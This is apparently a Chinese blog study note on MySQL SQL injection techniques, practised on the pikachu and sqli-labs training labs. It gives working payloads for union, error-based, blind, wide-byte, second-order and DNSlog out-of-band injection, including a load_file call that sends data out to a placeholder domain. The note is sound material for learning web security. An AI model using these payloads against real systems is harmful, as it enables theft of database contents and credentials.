WEB攻防--sql注入
sql注入
原理
脚本代码在实现代码和数据库进行通讯时,讲定义的sql语句进行执行,其中sql能够通过参数来传递自定义值来实现控制sql语句,从而执行恶意的sql语句
sql首要条件就是有参数,可控的参数,但不是说url没有参数就不能注入
但是如果是这样的
1 | xxx.xxx.xxx.xxx/admin_login.asp?id=1 |
是可以注入的
如果有两个可变参数比如
1 | xxx.xxx.xxx.xxx/admin_login.asp?id=1&page=1 |
判断id有注入的时候应该尝试1
xxx.xxx.xxx.xxx/admin_login.asp?id=1 注入语句 & page=1
或者1
xxx.xxx.xxx.xxx/admin_login.asp?page=1&id=1 注入语句
mysql中# --
是注释符的意思1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21mysql> select id,email,username from member where username ="vince";
+----+-------------------+----------+
| id | email | username |
+----+-------------------+----------+
| 1 | [email protected] | vince |
+----+-------------------+----------+
1 row in set (0.00 sec)
mysql> select id,email,username from member -- where username ="vince";
-> ;
+----+-------------------+----------+
| id | email | username |
+----+-------------------+----------+
| 1 | [email protected] | vince |
| 2 | [email protected] | allen |
| 3 | [email protected] | kobe |
| 4 | [email protected] | grady |
| 5 | [email protected] | kevin |
| 6 | [email protected] | lucy |
| 7 | [email protected] | lili |
+----+-------------------+----------+
为什么平常注入的时候要加’呢,因为一般都是类似1
2$name=$_GET['name'];
$query='select id ,email,username from member where username='[name]';
当你注入xx' or 1=1 --+
这种的时候
会变成
1 | $name=$_GET['name']; |
在其中,’xx’提前闭合了,又因为or的原因导致1=1永真成立,使得sql语句成立
如何找注入点位置
还是那句话,找自定义变量的
类似?xx=xxx这种的,可以一试
有些交互的地方类似分页这种数据自动变化的,可能有limit的限制;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32mysql> select id,username from member limit 0,2;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 17
Current database: pikachu
+----+----------+
| id | username |
+----+----------+
| 1 | vince |
| 2 | allen |
+----+----------+
2 rows in set (0.01 sec)
mysql> select id,username from member limit 2,2;
+----+----------+
| id | username |
+----+----------+
| 3 | kobe |
| 4 | grady |
+----+----------+
2 rows in set (0.00 sec)
mysql> select id,username from member limit 4,2;
+----+----------+
| id | username |
+----+----------+
| 5 | kevin |
| 6 | lucy |
+----+----------+
2 rows in set (0.00 sec)
理论上,只要与后端数据库进行交互的地方,都可能存在sql注入,甚至cookie这里面都可以,不止只局限于url里面的?xx=xx
只要与后台有交互都可以(抓包)
联合注入
在网址中空格可以用+代替
union联合查询需要有同样的列数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21mysql> select id,username from member union select username,password from users;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 19
Current database: pikachu
+---------+----------------------------------+
| id | username |
+---------+----------------------------------+
| 1 | vince |
| 2 | allen |
| 3 | kobe |
| 4 | grady |
| 5 | kevin |
| 6 | lucy |
| 7 | lili |
| admin | e10adc3949ba59abbe56e057f20f883e |
| pikachu | 670b14728ad9902aecba32e22fa4f6bd |
| test | e99a18c428cb38d5f260853678922e03 |
+---------+----------------------------------+
10 rows in set (0.01 sec)
所以就可以使用1
' union select username,password from users#
出来的md5,你可以上cmd5进行解密
cmd5
简单常用测试语句和注释符号
在GET请求中,不允许出现空格,所以我们需要用+代替,当然你也可以用url编码
POST中没有问题
1 | 或者url编码为```%20``` |
sqk注入分类
主要分为数字型,字符型,搜索型,xx型
数字型
数据库中是1
$query='select id ,email,username from member where id=$id;
这种id=$id的,数据库中类型是int类型(如果是int unsigned的话后面的unsigned说明不可为负号)
字符型
1 | $query='select id ,email,username from member where id="[name]"; |
搜索型
可以使用模糊匹配1
2
3
4
5
6
7mysql> select id,email from member where username like "vin";
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | [email protected] |
+----+-------------------+
1 row in set (0.00 sec)
=表示的是精确匹配,而对应的可以用like作为模糊匹配,%vin表示以vin结尾的。%表示的是通配符,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30vin开头
mysql> select id,email from member where username like "vin%";
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | [email protected] |
+----+-------------------+
1 row in set (0.00 sec)
vin结尾
mysql> select id,email from member where username like "%vin";
+----+-------------------+
| id | email |
+----+-------------------+
| 5 | [email protected] |
+----+-------------------+
1 row in set (0.00 sec)
包含vin
mysql> select id,email from member where username like "%vin%";
+----+-------------------+
| id | email |
+----+-------------------+
| 1 | [email protected] |
| 5 | [email protected] |
+----+-------------------+
2 rows in set (0.00 sec)
也可以用上面的1
xx' or 1=1#
进行闭合
xx型
用一些特殊符号,像是()[]这种1
$query='select id ,email,username from member where id=("[name]");
注意要闭合括号
1 | xx)' or 1=1 --+ |
json类型
判断
1 | content-type:检查数据是什么格式,常用的有三个 |
根据不同的application,服务端的接收也不同
多应用于前后端分离的项目,app,小程序,公众号
json注入
跟正常的一样,但是键值对,键必须双引号,值字符串双引号,所以我们可以尝试用单引号注入
可以在页面最下面1
json={搞一个json的},参考
按提交方式分类
GET改urlencode的,POST改下面请求体的,cookie直接尝试就行
按请求位置分类
ua里面注入的话,可以考虑一下报错注入
mysql变量和 函数
1 | version 查看版本 |
使用的时候执行下面的即可1
select @@语句
mysql内置函数,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23mysql> select database();
+------------+
| database() |
+------------+
| NULL |
+------------+
1 row in set (0.00 sec)
mysql> select version();
+-----------+
| version() |
+-----------+
| 8.0.12 |
+-----------+
1 row in set (0.00 sec)
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
报错注入
适用于页面上没有任何反馈信息的
常用的报错函数1
2
3Updatexml():函数是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():函数是mysqlxml文档进行查询的xpath函数
floor():mysql中用于取整的函数
updatexml
内容替换的
updatexml(xml_document,xpath_string,new_value)
mysql的xpath
中间的’//‘是xpath,如上图判断的是/root/message/content里面的msg替换成
I an fine,thank you
concat拼接,1
2
3
4
5
6
7
8
9
10
11
12mysql> select concat('hello','world');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 10
Current database: *** NONE ***
+-------------------------+
| concat('hello','world') |
+-------------------------+
| helloworld |
+-------------------------+
1 row in set (0.01 sec)
1 | mysql> select updatexml('hello',concat('>>',(select version()),"<<"),"world"); |
先在select version()
外面加一层()使得其先执行
extractvalue()
1 | mysql> select ExtractValue('<a><b>hello</b></a>','/a/b'); |
也可以结合着来1
2mysql> select ExtractValue('<a><b>hello</b></a>',concat(">>",(select @@version)));
ERROR 1105 (HY000): XPATH syntax error: '>>8.0.12'
相关语句
1 | 爆版本 |
增删改查注入
简单来说就是不只有select可以注入,insert,update,delete啥的都行
宽字节注入
有些php网站,为了防止sql注入,经常才用引号转义的方式,比如打开全局GPC配置
比如1
2
3
4
5xx' or 1=1#
经过转义就成了
xx\' or 1=1#
引号天然丢失
所以呢,我们可以在前面加%df这样,%5c是\,%df是中但是连起来的%df%5C就是一个运(应该是个繁体的)字,这样就避开了转义,宽字节就是将\变成汉字吃掉
偏移量注入
union的前提是查询的两个里面有相同列的
1 | mysql> select * from users union select username,email from member; |
所以我们可以进行偏移,前面补上1,2,3,4,这种1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17mysql> select * from users union select 1,2,username,email from member;
+----+----------+----------------------------------+-------------------+
| id | username | password | level |
+----+----------+----------------------------------+-------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 |
| 3 | test | e99a18c428cb38d5f260853678922e03 | 3 |
| 1 | 2 | vince | [email protected] |
| 1 | 2 | allen | [email protected] |
| 1 | 2 | kobe | [email protected] |
| 1 | 2 | grady | [email protected] |
| 1 | 2 | kevin | [email protected] |
| 1 | 2 | lucy | [email protected] |
| 1 | 2 | lili | [email protected] |
+----+----------+----------------------------------+-------------------+
10 rows in set (0.00 sec)
知道表明,不知道列名的时候用偏移量注入,联合查询前面查询语句列数要和诸如后面的union列数要多
感觉讲的有点懵懵的,我的理解就是,你正常的union联合查询需要前后的列数一样,所以为了一致我们要加1,2,3,4,5,6…这种来填补,但是我们在输出的时候,查询的,额,比如
1 | mysql> select * from users union select 1,2,username,email from member; |
这种,username是第二列,我们就不能直接用1,2,3,users.*
来进行,不然下面的就被掩盖了,上面那个就是被掩盖的,正确的是这个1
2
3
4
5
6
7
8
9
10
11
12
13
14+----+----------+----------------------------------+-------------------+
| id | username | password | level |
+----+----------+----------------------------------+-------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 |
| 3 | test | e99a18c428cb38d5f260853678922e03 | 3 |
| 1 | vince | 2 | [email protected] |
| 1 | allen | 2 | [email protected] |
| 1 | kobe | 2 | [email protected] |
| 1 | grady | 2 | [email protected] |
| 1 | kevin | 2 | [email protected] |
| 1 | lucy | 2 | [email protected] |
| 1 | lili | 2 | [email protected] |
+----+----------+----------------------------------+-------------------+
加密注入
前端给后端注入有时候是加密的,所以有时候要进行加密的注入
加密算法可能在某个js代码中,min的是经过压缩,额,好像不叫这个,就是加了一定的混淆的,详细的请玩js逆向
堆叠注入
就是一堆sql语句执行
前面通过;已经结束了,后面的语句可以任意写
限制
堆叠注入是否能成,取决于后端代码,
例如
二次注入
第一次注入,第二次触发
举个例子,在注册框注册一个admin’# 的,他不会被转义,二十存储在数据库中,但是当你修改密码的时候,他后面的’#会被转义,这时候你修改的admin’#就变成了修改admin的密码了
sqli-labs-24
中转注入(不好弄)
就是你截取一个数据包,然后发到中转的,再从中转转发到url
这是一个php进行base64加密的
伪静态注入
这种就在伪静态后加,比如/1/就在/1 后面加' or 1=1#
就是嗯加
回显和无回显
主要就是盲注
上面这个,无回显,但是他做了一个判断,上面的做了一个查询条数的判断,结果不为1就输出不存在
但是为什么报错注入也没有呢,因为mysqli_query,默认不打印报错信息
或者在ini中对error设置成了off
布尔盲注
通过比较手段得到一个真假值,根据真假值断定数据是什么的1
2
3
4
5
6
7
8
9
10mysql> select username,email from member where username="vince" and length(database())=8;
Empty set (0.00 sec)
mysql> select username,email from member where username="vince" and length(database())=7;
+----------+-------------------+
| username | email |
+----------+-------------------+
| vince | [email protected] |
+----------+-------------------+
1 row in set (0.00 sec)
当然,皮卡丘中的也可以这么做
1 | vince" and ascii(substr(database(),1,1))=112# |
其中第一个1是length,但是盲注我们一般都直接上sqlmap跑
时间盲注
就是看延迟,sleep(5)—+
但是光延迟没啥用,我们可以拼接一下
1 | mysql> select if(1>2,'a','b'); |
mysql中存在着一个if判断语句,上面的意思为如果1>2,输出a,反之输出b
我们就可以进一步利用,比如
1 | mysql> select if(substr(database(),1,1)="p",sleep(5),"2"); |
这里是判断数据库第一个名字是不是p,是的话延迟5秒,否则输出2
此外出了sleep还有一个benchmark也可以进行时间盲注
benchmark(100000.md5(1))是将md5(1)执行100000次以达到延迟的效果1
2
3
4
5
6
7
8
9
10
11
12
13
14
15mysql> select benchmark(1000000,md5(123));
+-----------------------------+
| benchmark(1000000,md5(123)) |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (0.10 sec)
mysql> select benchmark(10000000,md5(123));
+------------------------------+
| benchmark(10000000,md5(123)) |
+------------------------------+
| 0 |
+------------------------------+
1 row in set (0.94 sec)
可以看到肉眼可见的时间增加,就是不知道为啥人家1000000次是2.34s我是0.94,🤔
dnslog注入
在网站的下级域名的时候随便加,比如
1 | or load_file("http://database().www.xxx.com") |
在开放日志记录的网站就记录下来了
网站
我实验的时候都没成功登上去过,奇了怪了dnslog,另外一个是
ceye ,这个倒是登上去了,就是卡的一批奥
之前好像写过一次dns外带的,我就不详细了,下面这个师傅一看就是看jadon老师的,
https://blog.csdn.net/qq_56607768/article/details/124224966
前端代码绕过
这玩意等我后面看到js加解密和js逆向再说
后端代码绕过
这个就是那些,额,和文件上传差不多,大小写,双写,宽字节,
总结
至此,mysql的sql注入应该是都么的了,后面还剩下木马,防护手段,getshell以及其他数据库的注入,那些明儿在说,懒了懒了